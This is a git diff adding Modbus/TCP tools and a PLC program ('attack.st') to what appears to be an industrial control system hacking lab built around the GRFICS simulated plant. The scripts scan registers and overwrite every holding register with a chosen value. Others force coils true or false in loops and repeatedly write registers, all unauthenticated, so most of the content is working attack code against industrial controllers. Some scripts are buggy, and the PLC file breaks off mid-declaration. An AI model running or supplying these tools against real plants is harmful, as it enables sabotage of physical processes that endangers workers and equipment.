pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 